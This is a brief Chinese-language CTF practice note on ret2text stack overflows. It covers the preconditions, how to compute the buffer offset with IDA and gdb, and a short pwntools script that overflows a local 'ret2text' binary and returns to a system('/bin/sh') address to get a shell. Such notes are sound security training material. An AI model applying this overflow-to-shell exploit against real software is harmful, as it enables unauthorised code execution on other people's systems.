pwn练习笔记

ret2text

ret2text需要具备的条件：

1. PIE未开，canary未开
2. ELF中本身存在system("/bin/sh")

如何计算出var 到 bp的偏移

1. ida查看var相对于sp的偏移
2. gdb在使用var的gets()等有漏洞的函数处下断点，此处的sp,bp值用于计算偏移

计算代码

#!/bin/python
bp = 0xffffd278
sp = 0xffffd1f0
offsetBetweenSpAndVar = 0x1c
varAddr = sp + offsetBetweenSpAndVar
offsetBetweenBpAndVar = hex(bp - varAddr)
print(offsetBetweenBpAndVar)

利用代码

from pwn import *
context.binary = "ret2text"
io=process("ret2text")
io.sendline('a'*0x6c + 'aaaa' + flat(0x0804863A))
io.interactive()